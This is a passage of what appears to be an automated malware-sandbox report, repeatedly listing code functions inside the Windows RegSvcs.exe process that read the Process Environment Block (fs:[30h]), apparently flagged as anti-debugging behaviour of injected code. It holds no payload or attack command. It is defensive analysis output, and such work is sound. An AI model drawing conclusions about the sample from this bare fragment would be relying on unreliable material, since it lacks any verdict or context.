Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F7016 mov eax, dword ptr fs:[00000030h]	4_2_012F7016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F7016 mov eax, dword ptr fs:[00000030h]	4_2_012F7016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01332073 mov eax, dword ptr fs:[00000030h]	4_2_01332073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01341074 mov eax, dword ptr fs:[00000030h]	4_2_01341074
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01290050 mov eax, dword ptr fs:[00000030h]	4_2_01290050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01290050 mov eax, dword ptr fs:[00000030h]	4_2_01290050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B90AF mov eax, dword ptr fs:[00000030h]	4_2_012B90AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A20A0 mov eax, dword ptr fs:[00000030h]	4_2_012A20A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A20A0 mov eax, dword ptr fs:[00000030h]	4_2_012A20A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A20A0 mov eax, dword ptr fs:[00000030h]	4_2_012A20A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A20A0 mov eax, dword ptr fs:[00000030h]	4_2_012A20A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A20A0 mov eax, dword ptr fs:[00000030h]	4_2_012A20A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A20A0 mov eax, dword ptr fs:[00000030h]	4_2_012A20A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012AF0BF mov ecx, dword ptr fs:[00000030h]	4_2_012AF0BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012AF0BF mov eax, dword ptr fs:[00000030h]	4_2_012AF0BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012AF0BF mov eax, dword ptr fs:[00000030h]	4_2_012AF0BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01279080 mov eax, dword ptr fs:[00000030h]	4_2_01279080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F3884 mov eax, dword ptr fs:[00000030h]	4_2_012F3884
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F3884 mov eax, dword ptr fs:[00000030h]	4_2_012F3884
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012740E1 mov eax, dword ptr fs:[00000030h]	4_2_012740E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012740E1 mov eax, dword ptr fs:[00000030h]	4_2_012740E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012740E1 mov eax, dword ptr fs:[00000030h]	4_2_012740E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012758EC mov eax, dword ptr fs:[00000030h]	4_2_012758EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129B8E4 mov eax, dword ptr fs:[00000030h]	4_2_0129B8E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129B8E4 mov eax, dword ptr fs:[00000030h]	4_2_0129B8E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0130B8D0 mov eax, dword ptr fs:[00000030h]	4_2_0130B8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0130B8D0 mov ecx, dword ptr fs:[00000030h]	4_2_0130B8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0130B8D0 mov eax, dword ptr fs:[00000030h]	4_2_0130B8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0130B8D0 mov eax, dword ptr fs:[00000030h]	4_2_0130B8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0130B8D0 mov eax, dword ptr fs:[00000030h]	4_2_0130B8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0130B8D0 mov eax, dword ptr fs:[00000030h]	4_2_0130B8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0133131B mov eax, dword ptr fs:[00000030h]	4_2_0133131B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0127DB60 mov ecx, dword ptr fs:[00000030h]	4_2_0127DB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A3B7A mov eax, dword ptr fs:[00000030h]	4_2_012A3B7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A3B7A mov eax, dword ptr fs:[00000030h]	4_2_012A3B7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0127DB40 mov eax, dword ptr fs:[00000030h]	4_2_0127DB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01348B58 mov eax, dword ptr fs:[00000030h]	4_2_01348B58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0127F358 mov eax, dword ptr fs:[00000030h]	4_2_0127F358
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A4BAD mov eax, dword ptr fs:[00000030h]	4_2_012A4BAD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A4BAD mov eax, dword ptr fs:[00000030h]	4_2_012A4BAD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A4BAD mov eax, dword ptr fs:[00000030h]	4_2_012A4BAD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01345BA5 mov eax, dword ptr fs:[00000030h]	4_2_01345BA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01281B8F mov eax, dword ptr fs:[00000030h]	4_2_01281B8F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01281B8F mov eax, dword ptr fs:[00000030h]	4_2_01281B8F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0132D380 mov ecx, dword ptr fs:[00000030h]	4_2_0132D380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0133138A mov eax, dword ptr fs:[00000030h]	4_2_0133138A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012AB390 mov eax, dword ptr fs:[00000030h]	4_2_012AB390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A2397 mov eax, dword ptr fs:[00000030h]	4_2_012A2397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129DBE9 mov eax, dword ptr fs:[00000030h]	4_2_0129DBE9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A03E2 mov eax, dword ptr fs:[00000030h]	4_2_012A03E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A03E2 mov eax, dword ptr fs:[00000030h]	4_2_012A03E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A03E2 mov eax, dword ptr fs:[00000030h]	4_2_012A03E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A03E2 mov eax, dword ptr fs:[00000030h]	4_2_012A03E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A03E2 mov eax, dword ptr fs:[00000030h]	4_2_012A03E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A03E2 mov eax, dword ptr fs:[00000030h]	4_2_012A03E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F53CA mov eax, dword ptr fs:[00000030h]	4_2_012F53CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F53CA mov eax, dword ptr fs:[00000030h]	4_2_012F53CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129A229 mov eax, dword ptr fs:[00000030h]	4_2_0129A229
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129A229 mov eax, dword ptr fs:[00000030h]	4_2_0129A229
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129A229 mov eax, dword ptr fs:[00000030h]	4_2_0129A229
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129A229 mov eax, dword ptr fs:[00000030h]	4_2_0129A229
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129A229 mov eax, dword ptr fs:[00000030h]	4_2_0129A229
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129A229 mov eax, dword ptr fs:[00000030h]	4_2_0129A229
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129A229 mov eax, dword ptr fs:[00000030h]	4_2_0129A229
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129A229 mov eax, dword ptr fs:[00000030h]	4_2_0129A229
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129A229 mov eax, dword ptr fs:[00000030h]	4_2_0129A229
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B4A2C mov eax, dword ptr fs:[00000030h]	4_2_012B4A2C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B4A2C mov eax, dword ptr fs:[00000030h]	4_2_012B4A2C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01288A0A mov eax, dword ptr fs:[00000030h]	4_2_01288A0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0133AA16 mov eax, dword ptr fs:[00000030h]	4_2_0133AA16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0133AA16 mov eax, dword ptr fs:[00000030h]	4_2_0133AA16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0127AA16 mov eax, dword ptr fs:[00000030h]	4_2_0127AA16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0127AA16 mov eax, dword ptr fs:[00000030h]	4_2_0127AA16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01293A1C mov eax, dword ptr fs:[00000030h]	4_2_01293A1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01275210 mov eax, dword ptr fs:[00000030h]	4_2_01275210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01275210 mov ecx, dword ptr fs:[00000030h]	4_2_01275210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01275210 mov eax, dword ptr fs:[00000030h]	4_2_01275210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01275210 mov eax, dword ptr fs:[00000030h]	4_2_01275210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B927A mov eax, dword ptr fs:[00000030h]	4_2_012B927A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0132B260 mov eax, dword ptr fs:[00000030h]	4_2_0132B260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0132B260 mov eax, dword ptr fs:[00000030h]	4_2_0132B260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01348A62 mov eax, dword ptr fs:[00000030h]	4_2_01348A62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0133EA55 mov eax, dword ptr fs:[00000030h]	4_2_0133EA55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01279240 mov eax, dword ptr fs:[00000030h]	4_2_01279240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01279240 mov eax, dword ptr fs:[00000030h]	4_2_01279240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01279240 mov eax, dword ptr fs:[00000030h]	4_2_01279240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01279240 mov eax, dword ptr fs:[00000030h]	4_2_01279240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01304257 mov eax, dword ptr fs:[00000030h]	4_2_01304257
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012752A5 mov eax, dword ptr fs:[00000030h]	4_2_012752A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012752A5 mov eax, dword ptr fs:[00000030h]	4_2_012752A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012752A5 mov eax, dword ptr fs:[00000030h]	4_2_012752A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012752A5 mov eax, dword ptr fs:[00000030h]	4_2_012752A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012752A5 mov eax, dword ptr fs:[00000030h]	4_2_012752A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0128AAB0 mov eax, dword ptr fs:[00000030h]	4_2_0128AAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0128AAB0 mov eax, dword ptr fs:[00000030h]	4_2_0128AAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012AFAB0 mov eax, dword ptr fs:[00000030h]	4_2_012AFAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012AD294 mov eax, dword ptr fs:[00000030h]	4_2_012AD294
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012AD294 mov eax, dword ptr fs:[00000030h]	4_2_012AD294
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A2AE4 mov eax, dword ptr fs:[00000030h]	4_2_012A2AE4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A2ACB mov eax, dword ptr fs:[00000030h]	4_2_012A2ACB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01348D34 mov eax, dword ptr fs:[00000030h]	4_2_01348D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0133E539 mov eax, dword ptr fs:[00000030h]	4_2_0133E539
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A4D3B mov eax, dword ptr fs:[00000030h]	4_2_012A4D3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A4D3B mov eax, dword ptr fs:[00000030h]	4_2_012A4D3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A4D3B mov eax, dword ptr fs:[00000030h]	4_2_012A4D3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0127AD30 mov eax, dword ptr fs:[00000030h]	4_2_0127AD30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012FA537 mov eax, dword ptr fs:[00000030h]	4_2_012FA537
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01283D34 mov eax, dword ptr fs:[00000030h]	4_2_01283D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01283D34 mov eax, dword ptr fs:[00000030h]	4_2_01283D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01283D34 mov eax, dword ptr fs:[00000030h]	4_2_01283D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01283D34 mov eax, dword ptr fs:[00000030h]	4_2_01283D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01283D34 mov eax, dword ptr fs:[00000030h]	4_2_01283D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01283D34 mov eax, dword ptr fs:[00000030h]	4_2_01283D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01283D34 mov eax, dword ptr fs:[00000030h]	4_2_01283D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01283D34 mov eax, dword ptr fs:[00000030h]	4_2_01283D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01283D34 mov eax, dword ptr fs:[00000030h]	4_2_01283D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01283D34 mov eax, dword ptr fs:[00000030h]	4_2_01283D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01283D34 mov eax, dword ptr fs:[00000030h]	4_2_01283D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01283D34 mov eax, dword ptr fs:[00000030h]	4_2_01283D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01283D34 mov eax, dword ptr fs:[00000030h]	4_2_01283D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129C577 mov eax, dword ptr fs:[00000030h]	4_2_0129C577
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129C577 mov eax, dword ptr fs:[00000030h]	4_2_0129C577
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B3D43 mov eax, dword ptr fs:[00000030h]	4_2_012B3D43
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F3540 mov eax, dword ptr fs:[00000030h]	4_2_012F3540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01323D40 mov eax, dword ptr fs:[00000030h]	4_2_01323D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01297D50 mov eax, dword ptr fs:[00000030h]	4_2_01297D50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A35A1 mov eax, dword ptr fs:[00000030h]	4_2_012A35A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_013405AC mov eax, dword ptr fs:[00000030h]	4_2_013405AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_013405AC mov eax, dword ptr fs:[00000030h]	4_2_013405AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A1DB5 mov eax, dword ptr fs:[00000030h]	4_2_012A1DB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A1DB5 mov eax, dword ptr fs:[00000030h]	4_2_012A1DB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A1DB5 mov eax, dword ptr fs:[00000030h]	4_2_012A1DB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A2581 mov eax, dword ptr fs:[00000030h]	4_2_012A2581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A2581 mov eax, dword ptr fs:[00000030h]	4_2_012A2581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A2581 mov eax, dword ptr fs:[00000030h]	4_2_012A2581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A2581 mov eax, dword ptr fs:[00000030h]	4_2_012A2581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01272D8A mov eax, dword ptr fs:[00000030h]	4_2_01272D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01272D8A mov eax, dword ptr fs:[00000030h]	4_2_01272D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01272D8A mov eax, dword ptr fs:[00000030h]	4_2_01272D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01272D8A mov eax, dword ptr fs:[00000030h]	4_2_01272D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01272D8A mov eax, dword ptr fs:[00000030h]	4_2_01272D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012AFD9B mov eax, dword ptr fs:[00000030h]	4_2_012AFD9B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012AFD9B mov eax, dword ptr fs:[00000030h]	4_2_012AFD9B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01328DF1 mov eax, dword ptr fs:[00000030h]	4_2_01328DF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0128D5E0 mov eax, dword ptr fs:[00000030h]	4_2_0128D5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0128D5E0 mov eax, dword ptr fs:[00000030h]	4_2_0128D5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0133FDE2 mov eax, dword ptr fs:[00000030h]	4_2_0133FDE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0133FDE2 mov eax, dword ptr fs:[00000030h]	4_2_0133FDE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0133FDE2 mov eax, dword ptr fs:[00000030h]	4_2_0133FDE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0133FDE2 mov eax, dword ptr fs:[00000030h]	4_2_0133FDE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F6DC9 mov eax, dword ptr fs:[00000030h]	4_2_012F6DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F6DC9 mov eax, dword ptr fs:[00000030h]	4_2_012F6DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F6DC9 mov eax, dword ptr fs:[00000030h]	4_2_012F6DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F6DC9 mov ecx, dword ptr fs:[00000030h]	4_2_012F6DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F6DC9 mov eax, dword ptr fs:[00000030h]	4_2_012F6DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F6DC9 mov eax, dword ptr fs:[00000030h]	4_2_012F6DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012ABC2C mov eax, dword ptr fs:[00000030h]	4_2_012ABC2C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F6C0A mov eax, dword ptr fs:[00000030h]	4_2_012F6C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F6C0A mov eax, dword ptr fs:[00000030h]	4_2_012F6C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F6C0A mov eax, dword ptr fs:[00000030h]	4_2_012F6C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012F6C0A mov eax, dword ptr fs:[00000030h]	4_2_012F6C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01331C06 mov eax, dword ptr fs:[00000030h]	4_2_01331C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01331C06 mov eax, dword ptr fs:[00000030h]	4_2_01331C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01331C06 mov eax, dword ptr fs:[00000030h]	4_2_01331C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01331C06 mov eax, dword ptr fs:[00000030h]	4_2_01331C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01331C06 mov eax, dword ptr fs:[00000030h]	4_2_01331C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01331C06 mov eax, dword ptr fs:[00000030h]	4_2_01331C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01331C06 mov eax, dword ptr fs:[00000030h]	4_2_01331C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01331C06 mov eax, dword ptr fs:[00000030h]	4_2_01331C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01331C06 mov eax, dword ptr fs:[00000030h]	4_2_01331C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01331C06 mov eax, dword ptr fs:[00000030h]	4_2_01331C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01331C06 mov eax, dword ptr fs:[00000030h]	4_2_01331C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01331C06 mov eax, dword ptr fs:[00000030h]	4_2_01331C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01331C06 mov eax, dword ptr fs:[00000030h]	4_2_01331C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01331C06 mov eax, dword ptr fs:[00000030h]	4_2_01331C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0134740D mov eax, dword ptr fs:[00000030h]	4_2_0134740D
